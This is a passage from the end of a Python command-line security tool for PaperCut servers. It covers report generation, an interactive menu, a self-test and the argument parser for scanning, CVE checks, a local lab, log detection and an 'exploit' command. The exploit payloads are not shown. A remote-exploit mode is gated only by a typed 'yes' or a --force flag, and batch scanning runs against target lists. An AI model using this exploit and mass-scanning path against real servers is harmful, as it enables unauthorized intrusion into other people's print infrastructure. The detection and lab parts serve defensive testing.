table.add_row("Recommendation", result["recommendation"])
console.print(table)
if output:
with open(output, "w") as f: json.dump(result, f, indent=2)
console.print(f"[green]Detection results saved to {output}[/green]")
return 0
def cmd_report(input_file: str, fmt: str, output: str):
try:
data = json.load(open(input_file))
except Exception as e:
console.print(f"[red]Invalid JSON: {e}[/red]")
return 1
if fmt == "html":
out = generate_html_report(data)
outfile = output or "report.html"
open(outfile, "w").write(out)
console.print(f"[green]HTML report written to {outfile}[/green]")
elif fmt == "json":
out = json.dumps(data, indent=2)
outfile = output or "report.json"
open(outfile, "w").write(out)
console.print(f"[green]JSON report written to {outfile}[/green]")
else:
out = generate_text_report(data)
if output:
open(output, "w").write(out)
console.print(f"[green]Text report written to {output}[/green]")
else:
console.print(out)
return 0
def cmd_interactive():
console.print(BANNER)
while True:
console.print("\n[bold cyan]Interactive Menu[/bold cyan]")
console.print("[1] Scan Target")
console.print("[2] Fingerprint Target")
console.print("[3] Check CVE-2026-81578")
console.print("[4] Check CVE-2026-82078")
console.print("[5] Start Lab")
console.print("[6] Lab Demonstration")
console.print("[7] Detect Log")
console.print("[8] Generate Report")
console.print("[9] Batch Scan")
console.print("[10] Remote Exploit (⚠️ DANGER)")
console.print("[0] Exit")
choice = Prompt.ask("[bold]Select[/bold]", choices=["0","1","2","3","4","5","6","7","8","9","10"])
if choice == "0":
break
elif choice == "1":
target = Prompt.ask("Target URL", default="http://127.0.0.1:8080")
cmd_scan(target, 10, False, None, "text")
elif choice == "2":
target = Prompt.ask("Target URL", default="http://127.0.0.1:8080")
cmd_fingerprint(target, 10)
elif choice == "3":
target = Prompt.ask("Target URL", default="http://127.0.0.1:8080")
cmd_check(target, "81578", 10)
elif choice == "4":
target = Prompt.ask("Target URL", default="http://127.0.0.1:8080")
cmd_check(target, "82078", 10)
elif choice == "5":
port = IntPrompt.ask("Port", default=8080)
cmd_lab(port, False)
elif choice == "6":
cve = Prompt.ask("CVE (81578/82078)", choices=["81578","82078"])
target = Prompt.ask("Target (localhost)", default="http://127.0.0.1:8080")
cmd_exploit(cve, target, force=False)
elif choice == "7":
logfile = Prompt.ask("Log file path")
output = Prompt.ask("Output file (optional)", default="")
cmd_detect(logfile, output if output else None)
elif choice == "8":
infile = Prompt.ask("JSON result file")
fmt = Prompt.ask("Format (html/json/text)", default="html")
outfile = Prompt.ask("Output file", default="")
cmd_report(infile, fmt, outfile if outfile else None)
elif choice == "9":
infile = Prompt.ask("Targets file")
fmt = Prompt.ask("Output format", default="html")
outdir = Prompt.ask("Output directory", default="")
threads = IntPrompt.ask("Threads", default=5)
timeout = IntPrompt.ask("Timeout (seconds)", default=5)
prefilter = Prompt.ask("Run port prefilter? (y/n)", default="y").lower() == "y"
cmd_batch_scan(infile, timeout, fmt, outdir, threads, prefilter)
elif choice == "10":
console.print("[bold red]⚠️ REMOTE EXPLOIT MODE ⚠️[/bold red]")
cve = Prompt.ask("CVE (81578/82078)", choices=["81578","82078"])
target = Prompt.ask("Target URL")
force = Prompt.ask("Confirm you have authorization? (yes/no)").lower() == "yes"
if force:
cmd_exploit(cve, target, force=True, delay=5)
else:
console.print("[red]Authorization not confirmed. Aborting.[/red]")
return 0
def cmd_self_test():
console.print(BANNER)
console.print("[bold]Running Self-Test...[/bold]")
tests = []
tests.append(("Python >= 3.10", sys.version_info >= (3, 10)))
try:
import requests, rich, urllib3
tests.append(("Dependencies", True))
except ImportError:
tests.append(("Dependencies", False))
try:
# Use Google as fallback (more stable than httpbin)
resp = requests.get("https://www.google.com", timeout=5)
tests.append(("HTTP connectivity", resp.status_code == 200))
except:
tests.append(("HTTP connectivity", False))
lab = LabServer(port=8081)
try:
lab.start()
running = lab.is_running()
tests.append(("Lab start", running))
if running:
fp = fingerprint_target("http://127.0.0.1:8081", 5)
tests.append(("Lab fingerprint", fp.get("reachable", False)))
lab.stop()
except:
tests.append(("Lab module", False))
try:
data = {"target": "test", "findings": []}
html = generate_html_report(data)
tests.append(("HTML report", isinstance(html, str) and len(html) > 100))
except:
tests.append(("HTML report", False))
try:
r1 = check_cve_81578("http://127.0.0.1", 1)
r2 = check_cve_82078("http://127.0.0.1", 1)
tests.append(("CVE modules", "status" in r1 and "status" in r2))
except:
tests.append(("CVE modules", False))
tests.append(("Safety guard", is_localhost("http://127.0.0.1") and not is_localhost("http://example.com")))
tests.append(("Version parser", parse_version("24.1.9") == (24,1,9)))
affected, _ = is_affected_version("24.1.9")
tests.append(("Affected version", affected is True))
affected2, _ = is_affected_version("24.1.10")
tests.append(("Fixed version", affected2 is False))
passed = sum(1 for _, r in tests if r)
for name, r in tests:
console.print(f"{'[green]PASS[/green]' if r else '[red]FAIL[/red]'} {name}")
console.print(f"\n[bold]Result: {passed}/{len(tests)} tests passed[/bold]")
return 0 if passed == len(tests) else 1
# ----------------------------------------------------------------------
# CLI
# ----------------------------------------------------------------------
def main():
parser = argparse.ArgumentParser(description="PaperCut Security Tool - POWER MODE v3", add_help=False)
parser.add_argument("--help", action="store_true")
sub = parser.add_subparsers(dest="command", required=True)
scan = sub.add_parser("scan", help="Full vulnerability scan")
scan.add_argument("target", nargs="?", help="Target URL (single)")
scan.add_argument("--input", "-i", help="File with targets (batch)")
scan.add_argument("--output-dir", help="Directory for batch results")
scan.add_argument("--threads", type=int, default=5, help="Concurrent threads (batch)")
scan.add_argument("--timeout", type=int, default=10)
scan.add_argument("--quiet", action="store_true")
scan.add_argument("--output", help="Output file (single)")
scan.add_argument("--format", choices=["text","json","html"], default="text")
scan.add_argument("--prefilter", action="store_true", help="Check open ports before scanning (batch only)")
fp = sub.add_parser("fingerprint", help="Fingerprint target")
fp.add_argument("target"); fp.add_argument("--timeout", type=int, default=10)
chk = sub.add_parser("check", help="Check specific CVE")
chk.add_argument("target"); chk.add_argument("--cve", choices=["81578","82078"], required=True)
chk.add_argument("--timeout", type=int, default=10)
lab = sub.add_parser("lab", help="Start local lab")
lab.add_argument("--port", type=int, default=8080)
lab.add_argument("--test", action="store_true", help="Auto-test lab")
exp = sub.add_parser("exploit", help="⚠️ Exploit CVE (DANGEROUS)")
exp.add_argument("--cve", choices=["81578","82078"], required=True)
exp.add_argument("--target", default="http://127.0.0.1:8080")
exp.add_argument("--force", action="store_true", help="⚠️ Allow remote exploitation (AUTHORIZATION REQUIRED)")
exp.add_argument("--delay", type=int, default=3, help="Delay before exploit (seconds)")
det = sub.add_parser("detect", help="Analyze log file")
det.add_argument("logfile"); det.add_argument("--output")
rep = sub.add_parser("report", help="Generate report from JSON")
rep.add_argument("input"); rep.add_argument("--format", choices=["html","json","text"], default="html")
rep.add_argument("--output")
sub.add_parser("interactive", help="Interactive menu")
sub.add_parser("self-test", help="Run self-test")
args = parser.parse_args()
if args.help:
parser.print_help()
return 0
try:
if args.command == "scan":
if args.input:
return cmd_batch_scan(args.input, args.timeout, args.format, args.output_dir, args.threads, args.prefilter)
else:
if not args.target:
console.print("[red]Error: target required when not using --input[/red]")
return 1
return cmd_scan(args.target, args.timeout, args.quiet, args.output, args.format)
elif args.command == "fingerprint":
return cmd_fingerprint(args.target, args.timeout)
elif args.command == "check":
return cmd_check(args.target, args.cve, args.timeout)
elif args.command == "lab":
return cmd_lab(args.port, args.test)
elif args.command == "exploit":
return cmd_exploit(args.cve, args.target, args.force, args.delay)
elif args.command == "detect":
return cmd_detect(args.logfile, args.output)
elif args.command == "report":
return cmd_report(args.input, args.format, args.output)
elif args.command == "interactive":
return cmd_interactive()
elif args.command == "self-test":
return cmd_self_test()
else:
parser.print_help()
return 1
except KeyboardInterrupt:
console.print("\n[yellow]Interrupted by user[/yellow]")
return 1
except Exception as e:
if args.quiet:
console.print(f"[red]Error: {e}[/red]")
else:
import traceback
traceback.print_exc()
return 1
if __name__ == "__main__":
sys.exit(main())